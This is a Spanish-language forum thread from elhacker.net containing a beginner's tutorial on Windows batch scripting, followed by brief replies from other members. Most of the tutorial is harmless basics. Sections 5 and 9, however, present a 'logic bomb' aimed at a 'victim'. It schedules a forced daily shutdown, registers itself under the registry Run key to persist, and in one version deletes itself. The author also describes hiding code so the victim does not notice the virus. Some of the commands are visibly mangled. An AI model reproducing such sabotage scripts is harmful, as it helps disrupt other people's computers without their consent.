elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  Batch desde cero
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Batch desde cero  (Leído 9,893 veces)
pssnelgj

Desconectado Desconectado

Mensajes: 15



Ver Perfil
Batch desde cero
« en: 8 Mayo 2012, 03:42 am »

Indice
1.¿Que es Batch?
1.1Codigos Basicos y Pequeña Practica Iniciativa
2¿Como guardo el Batch?
3.Tamaño de la pantalla DOS
4.Variables
4.1Variables de Entorno
5.Bombas Logicas
6.IF (not) & IF (NOT) EXIST
6.1.Aplicacion del IF a las variables y menúes
7. Bucles
8.Crear y modificar archivos .txt desde batch  
9.Automatizando Tareas (AT)

 :P :P :P :P :P :P :P :P :P :P :P :P :P :P :P :P :P :P :P :P :P :P :P :P :P :P :P :P :P :P


I---------------------------------------------I

1. ¿Que es Batch?
Batch no es un lenguaje de programacion en si. Sino un archivo de procesamiento por lotes que permite utilizar comandos de CMD (o simbolo de sistema), tanto como variables y condiciones como IF, IF exist, etc.
Se programa en el Block de notas o cualquier tipo de editor de texto plano. NO usen ningun editor de texto como word o wordpad porque eso ya no es texto plano sino enriquesido y no funcionaria.
Como compilador usaremos tambien el block de notas con el procedimiento explicado en el capitulo 2

I---------------------------------------------I

1.1 Codigos Basicos y Pequeña Practica

Lo primero es abrir el Block de Notas. Inicio > Todos los progrmas > accesorios > Block de Notas



Los comandos basicos de batch son los siguientes:
Código:

*ECHO: imprime un texto en pantalla
*@ECHO OFF: oculta los comandos que programamos para que cuando se inicie el bat no se puedan ver los codigos y solo el programa.
* DIR: muestra un listado con el contenido de un directorio.
* TYPE: muestra el contenido de un archivo en pantalla.
* COPY: copia archivos en otro lugar.
* REN (RENAME): renombra archivos.
* DEL: borra uno o varios archivos (con posibilidad de recuperarlos mediante la orden UNDELETE, salvo que el lugar del archivo o archivos borrados hubiese sido utilizado con posterioridad).
* MD o MKDIR: crea un nuevo directorio.
* CD o CHDIR: cambia el directorio actual por el especificado.
* RD o RMDIR: borra un directorio vacío.
* DELTREE: borra un directorio con todo su contenido, incluidos subdirectorios (apareció en las últimas versiones)
* CLS: limpia la pantalla.
* HELP: ayuda sobre las distintas órdenes.
* SORT: ordena Datos
*SHUTDOWN: apaga el ordenador

Ahora nos vamos a la practica

Abres el Block y escribes el siguiente codigo.

Código
  1. @echo off
  2. title Primer Programa
  3. echo presiona una tecla
  4. echo hola
  5.  

Aca una screen del codigo anterior luego de ser compilado y funcionando:


Ahora expliquemos el codigo que copiaste.
 
@echo off
este codigo lo que hace es ocultar todos los comando que vas a utilizar en el programa, sino nos apareceria lo que pusimos y la victima se daria cuenta de que es un virus en caso de que lo sea.

 
title
este es el nombre que aparece en la ventana del DOS cuando ejecutas el programa.

 
echo
este code sirve para "imprimir" o mostrar lo que es cribamos en la pantalla.
por ejemplo
echo hola
en la pantalla apareceria "hola"

 
pause
esto crea una pausa en el programa y tienes que presionar una tecla para proseguir.

 
pause > nul
esto es lo mismo que lo anterior pero unicamente que no muestra el cartel en la pantalla que dice "presione un tecla para proseguir"

I---------------------------------------------I

2 ¿Como guardo el Batch?

Primero ponemos el codigo en el block de notas luego pulsamos Archivo>Guardar como...


Luego en el nombre ponemos el nombre que le queramos poner y los mas importante tiene que tener la extension .bat Tambien nos aseguramos que abajo diga "todos los archivos"


I---------------------------------------------I
3.Tamaño de la pantalla MS_DOS

El tamaño de la pantalla MS-DOS se puede definir con estos comandos:
mode con lines=Un numero
mode con cols=Un numero

En mode con lines=numero el numero que pongas equivale al numero de lineas que va ha tener la pantalla
En mode con cols=numero el numero equivale al numero de columnas
Ej:
Código
  1. @echo off
  2. mode con lines=10
  3. mode con cols=150
  4. echo hola
  5.  
4. Variables

DEFINICION

Las variables se usan en la mayoria de los lenguajes de programacion(diria en todos pero no conozco todos  ). Son datos que pueden ir cambiando a medida que el programa corre. Las variables pueden adquirir diferentes valores alfanumericos (letras y numeros), tambien se nos permite sumar variables o imprimirlas en pantalla. O incluso realizar operaciones matematicas.

Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la variable zero, cuando la llamamos seria %zero%


A LA PRACTICA

comenzaremos examinando el code siguiente:

Código
  1. @echo off
  2. title variables
  3. echo bienvenido al ejercicio para aprender variables
  4. echo .
  5. echo presiona una tecla para continuar
  6. set /p nombre=como te llamas?
  7. set /p edad=cuantos años tenes?
  8. set /p comida= que comes?
  9. echo hola %nombre%
  10. echo veo que tienes %edad% años verdad?
  11. echo como rayos te puede gustar %comida%?
  12.  

Ahora Examinemos el code:

 
set /p nombre=como te llamas?
con esto estamos haciendo que el archivo le pregunte al usario el valor de la variable nombre. Set es el comando para llamr variables.
/p significa que el usuario le pondra el valora la variable por medio de una pregunta.
"nombre" ahi esta el nombre dela variable.
"=como te llamas?" es la pregunta que se le hara al usuario.

tambien se puede otorgar un valor a la variable sin preguntarle al usuario. por ejemplo

set var=pesos

---

echo hola %nombre% veo que tienes %edad% años verdad? como rayos te puede gustar %comida%? XD
exit
Aqui imprime en pantalla un texto usando las variables, como mencione al principio las variables se llaman entre "%". entonces el batch imprimira en pantalla el valor de las variables nombre, edad y comida adicionadas con el texto expuesto.

este seria el ejemplo del programa corriendo asi se entiende mejor:


Bienvenidos al ejercicio para aprender variables
.
Presione una tecla para continuar

como te llamas? holy
que edad tienes? 14
que comes? nada

hola holy veo que tienes 14 años verdad? como rayos te puede gustar nada? XD



I---------------------------------------------I

4.1 Variables del entorno
hay ciertas variables que nos ayudaran a la hora de hacer programas o virus para asegurar (o subir mucho la probabilidad) que funcionen las ordenes del batch que hagamos. Por ejemplo:
nosotros progrmamamos un batch que busca si tenes los archivos "cmd.exe" y "notepad.exe"
logicamente le podremos que busque en la ruta c:/windows/system32/
pero que pasa si la victima no tiene instalado win en c: y lo tiene instaldo en la particion e claro el batch dira que no estan pero en realidad si estan pero en otra unidad entonces para evitar este tipo de errores usaremos las variables del entorno que son las siguientes:


%ALLUSERSPROFILE% ------> todos los usuarios
%APPDATA% ---------> datos de programa
%PROMPT%%TEMP% y %TMP% ---------> temporales
%USERDOMAIN% -----------> obtener dominio
%USERNAME% --------------->nombre del usuario Actual
%USERPROFILE% ---------------> usuario configuracion
%programfiles% ---------------> archivos de programas
%systemroot% ----------------> windows
%homedrive% --------------> disco Raiz

para este caso nos serviria la variable de "%homedrive%". Pongamos el ejemplo con un simple batch que ejecuta el notepad
Código
  1. @echo off
  2. title pruba
  3. echo ahora se ejecutara el notepad
  4. %homedrive%/windows/system32/notepad.exe
  5.  
en caso de que tubieramos en el disco c:

eso reemplaza la unidad, en conclusion son comodines que nos ayudan a la hora de progrmar batch.

I---------------------------------------------I

5. Bombas Logicas y Virus en Batch

Es muy facil crear codigos que perjudiquen o molesten a una victima que ejecute nuestro batch. A continuacion les mostrare una forma de crear una pequeña bomba logica en batch que hara que se apage el ordenador de la victima a las 17:00 todos los dias.


Primero aprender la definicion concreta de Bomba Lógica: Bomba Logica

Las bombas logicas complejas pueden programarce en lenguajes mas complejos como Visual Basic. Pero como tu solo buscas algo simple para  a alguien te recomiendo batch.

Mira este code

Código
  1. shutdown -s -f -t 15 -c "hola mundo"
  2.  
ahora explicamos el code

 
shutdown
el mismo nombre te lo dice, apaga el equipo


-s
activa apagar el equipo

 
-f
Fuerza a las aplicaciones activas a cerrrarse

 
-t xx
Es el tiempo en el que tardara en apagarse en ordenador.(xx representa el numero que quieras)

 
-c "x"
muestra un mensaje con lo que quieras (donde esta la x pones el mensaje)

entonces si creamos un batch que se inicie con windows y apage la pc de la victima a las 17:00 joderemos mucho a la victima.

Código
  1. @echo off
  2. AT 17:00 shutdown -s -f -t 2 -c "Jodete" >> c:/windows/system32/windosx.bat
  3. REG ADD HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v sysin2 /t REG_SZ /d "c:/windows/system32/windosx.bat"
  4.  

lo que haria esto en "teoria" seria apagar el pc en 2 segundos a las 17:00 de cada dia y agregarse al registro de windows, osea que su pc se apagara en 2 segs. todos los dias a las 17:00.

I---------------------------------------------I

6. IF (not) & IF (NOT) EXIST

IF es un comando que permite verificar algo. Si es verdadero o no hace una accion determinada. Su principal rol en los batch es verificar si alguna variable es "tal" valor numerico. Aqui mostraremos un claro ejemplo de su funcion que no es para nada complicada

Código
  1. @echo off
  2. set /p var=cuanto es 1+1??
  3. if %var%==2 (echo bien) else echo mal
  4.  



En cambio IF NOT es exactamente lo contrario, verifica que algo no sea = a un valor espesificado. Aqui se ve claramente:

Código
  1. @echo off
  2. set /p var=cuanto es 1+1??
  3. if not %var%==2 (echo mal) else echo bien
  4.  


IF (NOT) EXIST verifica que exista cierto archivo. Tiene un funcionamiento identico al IF (NOT), solo que trabajo sobre archivos y no valores alfanumericos. Lo verificamos con el siguiente code:
Código
  1. @echo off
  2. if exist c:/windows/system32/explorer.exe (echo tenes explorer.exe) else echo no tenes explorer.exe
  3.  



I---------------------------------------------I

6.1 Aplicacion del IF a las variables y menúes
IF nos ayuda a la hora de crear menúes. Ya que podemos asignarle un numero a cada opcion del menú y asi cuando el usuario ingrese cierto numero nos llevara al lugar designado. No se entiende totalmente en palabras por eso les he formulado este simple code que lo explica.

 
Código
  1. @echo off
  2. :menu
  3. echo 1. ping a google
  4. echo 2. ping a wikipedia
  5. set /p var=a quien quieres hacer un ping??
  6.  
  7. if %var%==1 (goto goo)
  8. if %var%==2 (goto wiki)
  9. if %var%=="" (goto menu)
  10.  
  11. :goo
  12. ping www.google.com
  13. goto menu
  14.  
  15. :wiki
  16. ping www.wikipedia.com
  17. goto menu
  18.  


I---------------------------------------------I

7. Bucles

Los bucles son comandos que se ejecutan muchas veces, generalmente indefinidamente. Estos bucles se pueden realizar muy facilmente con etiquetasm tal como en el siguiente ejemplo.

Código
  1. @echo off
  2. :bucle
  3. echo holy manda!
  4. goto bucle
  5.  


como ven si lo prueban, se ejecutara el comando infinitamente hasta que saquemos el programa.
Pero tambien se puede hacer que el comando se ejecute un numero de veces determinado con el uso de una variante del SET y el IF. Aqui se los muestro con un clarisimo ejemplo.

Código
  1. @echo off
  2. set var=10
  3.  
  4. :bucle
  5. if %var%==0 (goto exit) else set /A var=%var%-1
  6. echo hola viteh!
  7. goto bucle
  8.  
  9. echo hola
  10.  
I---------------------------------------------I
8.Creacion y modificacion de ARCHIVOS
 Bueno, ahora voy a enseñar cómo podemos conseguir crear, a partir de un simple archivo .bat otro archivo completamente distinto e independiente. Para ello, vamos a utilizar el símbolo ">", el cual va a hacer que nuestro .bat genere el archivo que nosotros queramos. Vamos a verlo con este sencillo e interesante código. En este caso, vamos a hacer que nuestro .bat genere un archivo de texto llamado "prueba.txt" Vamos a verlo:
Código
  1. @echo off
  2. cd %homepath%\Escritorio
  3. echo off>prueba.txt
  4.  

Analisis del código
-----------------------

@echo off: lo de siempre, esto se pone al principio de todos los archivos .bat

cd %homepath%\Escritorio : esta es la ruta del escritorio, para que el archivo que vamos a crear se cree ahí.

echo off>prueba.txt : esto hará que se cree el archivo de texto prueba.txt. Observad que hemos usado el símbolo > para ello.

exit : esto hará que el programa se cierre cuando haya ejecutado todos los comandos anteriores
 Para modificar los archivos se usa el simbolo >> por ejemplo

Código
  1. @echo off
  2. cd %homepatch%\escritorio
  3. echo off>prueba.txt
  4. echo esto es una prueva>>prueba.txt
  5.  
I-------------------------------I
9. Automatizando Tareas (AT)
El comando AT permite automatizar la ejecucion de un comando para una hora y/o fecha determinada. Por ejemplo qeu el dia 24/12/07 a las 14:45 borre todos los accesos directos del escritorio. O que a las 5 de todos los dias se apague el pc. O tambien que se ejecute algo todos los 24. Aqui les mostrare unos ejemplos y veran los facil que es.

Código
  1. @echo off
  2. at 4:00 shutdown -s -f -t 01
  3.  

Código
  1. @echo off
  2. at /every:4/2 4:00 shutdown -s -f -t 01
  3.  
Otra forma un poco mas compleja de ejecutar una tarea todos los dias a una hora es agregar el comando a la clave run del registro para que inicie con windows. No es para nada complicado. Lo unico seria agregar un add reg.
Código
  1. @echo off
  2. rem este code contiene una redireccion, estan explicadas en un prox capitulo.
  3. at 3:00 shutdown -s -f -t 05 > c:/shut.bat
  4. REG ADD HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v sysin2 /t REG_SZ /d "c:/shut.bat"
  5. del %0
  6.  

I---------------------------------------------I

espero que te haya servido este tuto.


« Última modificación: 10 Mayo 2012, 01:30 am por pssnelgj » En línea

Prefiero estar en boca de tantos que ser otro de los tantos con boca
Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.810



Ver Perfil
Re: Batch desde cero
« Respuesta #1 en: 8 Mayo 2012, 04:57 am »

Hola,

Se agradece el aporte, Pero hay mucho código que debe ir entre corchetes de códe. Hay unas normas que seguir, Modificalo.

Salu2.


En línea

pssnelgj

Desconectado Desconectado

Mensajes: 15



Ver Perfil
Re: Batch desde cero
« Respuesta #2 en: 8 Mayo 2012, 05:02 am »

Ok hay modifico
Luego me pondre a leer la reglas  :silbar:
soy nuevo  :rolleyes:
En línea

Prefiero estar en boca de tantos que ser otro de los tantos con boca
pssnelgj

Desconectado Desconectado

Mensajes: 15



Ver Perfil
Re: Batch desde cero
« Respuesta #3 en: 9 Mayo 2012, 00:54 am »

Listo
En línea

Prefiero estar en boca de tantos que ser otro de los tantos con boca
juan196518

Desconectado Desconectado

Mensajes: 23


Ver Perfil
Re: Batch desde cero
« Respuesta #4 en: 9 Mayo 2012, 06:04 am »

Muy buen aporte   ;-)
Cuando tenga tiempo lo leo
En línea

Back Track 5♥
zambita

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Re: Batch desde cero
« Respuesta #5 en: 9 Mayo 2012, 17:24 pm »

Gran aporte  :D
En línea

zambita

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Re: Batch desde cero
« Respuesta #6 en: 9 Mayo 2012, 17:27 pm »

PD:cREA UN TUTO PARA EL FOR
En línea

BatchianoISpyxolo

Desconectado Desconectado

Mensajes: 166


Ver Perfil
Re: Batch desde cero
« Respuesta #7 en: 9 Mayo 2012, 18:57 pm »

Buen aporte.

PD:cREA UN TUTO PARA EL FOR

Mira mi firma, a lo mejor te puede ayudar.
En línea

Puede que desees aprender a programar desde 0: www.espascal.es
Stakewinner00


Desconectado Desconectado

Mensajes: 1.426



Ver Perfil WWW
Re: Batch desde cero
« Respuesta #8 en: 9 Mayo 2012, 19:31 pm »

no sabia esto de la grandaria en batch

@echo offmode con lines=10mode con cols=150echo holapause >  nulexit

bueno de todo se aprende jaja

En línea

pssnelgj

Desconectado Desconectado

Mensajes: 15



Ver Perfil
Re: Batch desde cero
« Respuesta #9 en: 10 Mayo 2012, 01:04 am »

La verdad es que nunca entendi muy bien el FOR luego me pongo a leer y edito
En línea

Prefiero estar en boca de tantos que ser otro de los tantos con boca
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Batch] [vbs] ¿Un script para buscar archivos de cero bytes?
Scripting
SuperDraco 0 4,541 Último mensaje 13 Mayo 2011, 20:09 pm
por SuperDraco
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines